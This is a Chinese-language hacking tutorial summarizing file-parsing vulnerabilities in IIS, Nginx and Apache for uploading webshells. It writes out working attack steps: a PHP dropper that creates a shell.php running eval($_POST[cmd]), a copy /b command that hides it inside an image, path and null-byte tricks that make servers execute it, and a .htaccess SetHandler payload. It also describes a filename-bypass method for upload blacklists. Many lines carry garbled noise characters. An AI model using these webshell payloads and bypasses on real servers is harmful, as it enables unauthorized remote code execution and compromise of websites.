常见服务器解析漏洞总结

admin

Author : laterain
[+]IIS6.0
; a! f* I& b( e1 q
5 G% l$ R7 ]7 H6 C, G- y目录解析：/xx.asp/xx.jpg
xx.jpg 可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码
: h, M6 `) @- }4 s IIS6.0 会将 xx.jpg 解析为 asp 文件。
后缀解析：/xx.asp;.jpg     
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
5 i' E! f- B- L4 b0 k默认解析：/xx.asa
4 ?) m: P* Z4 B& \; y         /xx.cer
         /xx.cdx
: h' R4 h6 ^& t IIS6.0 默认的可执行文件除了 asp 还包含这三种
* l2 D# j+ q* u2 O 此处可联系利用目录解析漏洞
: H! u; r' B) Q% E  q0 r% ^2 B0 k/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
0 t/ S9 z6 v/ D8 g[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
7 {$ s" n6 Z' V
IIS 7.0/IIS 7.5/Nginx <0.8.03
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
. y* {  ]% |7 q* } 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
( ?" i" A$ o3 \8 `  I 常用利用方法：
9 W0 \& _4 [/ b' Q: {& t. P' S 将一张图和一个写入后门代码的文本文件合并将恶意文本
写入图片的二进制代码之后，避免破坏图片文件头和尾
如：
copy xx.jpg /b + yy.txt/a xy.jpg
" L2 q4 @* m  j  o6 i: L! V #########################################################
( [+ [) {! S# i  \9 Q8 I) j /b 即二进制[binary]模式
/a 即ascii模式
8 h% F& t$ [& D xx.jpg 正常图片文件
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
8 A- k: l$ ?. Q& g '<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
. m( i. x& `0 e# J, e% ` 为shell.php的文件
% |2 a8 W/ l* p ###########################################################
8 v+ Q7 u6 o: l( K3 Q) G 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
1 Z" q+ [: u3 \; ~& w( h7 K 密码 cmd
[+]Nginx <0.8.03

, y( A$ J: X1 W( S; u6 _ 在Fast-CGI关闭的情况下，Nginx <0.8.03依然存在解析漏洞
2 n( m" j- n: x& ` 在一个文件路径(/xx.jpg)后面加上%00.php
" ^) J8 R, p3 S5 N 会将 /xx.jpg%00.php 解析为 php 文件。
7 W$ g+ t- O* J# |: s6 V[+]Apache<0.8.03

5 b/ {# ]5 E( C3 x, z) V 后缀解析：test.php.x1.x2.x3
Apache将从右至左开始判断后缀，若x3非可识别后缀，
再判断x2，直到找到可识别后缀为止，然后将该可识别
0 S9 B0 \8 V; K$ \  F+ A 后缀进解析test.php.x1.x2.x3 则会被解析为php
% N7 ~8 ~0 [7 |7 @' I 经验之谈：php|php3|phtml 多可被Apache解析。
6 {$ ~1 _4 B" X+ Q% W[+]其他一些可利用的

在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
若这样命名，windows会默认除去空格或点，这也是可以被利用的！
在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格
5 d( J  J6 m! q! M+ Q' |" ^0 k或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可
( d+ l) T: e7 d( n( @得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
4 ?- u0 D& E0 t5 G! I{Linux主机中不行，Linux允许这类文件存在}
如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说
& f& {2 I6 F) x8 e0 e' A7 D的，当初我并不知道），且可以被上传，那可以尝试在
! J$ K; r0 ]" @/ k# f' b( H.htaccess中写入:
: ~! T/ H9 v# V) P7 w- U<FilesMatch “shell.jpg”>
! c$ m. G( H6 b, y) s: A) }SetHandler application/x-httpd-php
</FilesMatch>
7 U* p" s9 i. {& U7 E# Mshell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件
/ x5 U/ w- P6 k) {5 l[+]错误修改

在 IIS 6.0 下可解析 /xx.asp:.jpg
- ^$ b  a8 v( `0 s{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去
剩下/xx.asp}修改：
先谢谢核攻击的提醒
当上传一个/xx.asp:.jpg文件时，的确:.jpg会消失，但是现在的/xx.asp
里是没有任何内容的，因为。。不好解释 大家自己看
( r6 `0 w1 B( v8 C" c, {http://lcx.cc/?i=2448
5 S! F1 v+ T8 V8 d& K5 Shttp://baike.baidu.com/view/3619593.htm
​
" X* u9 Q: g: N* \) X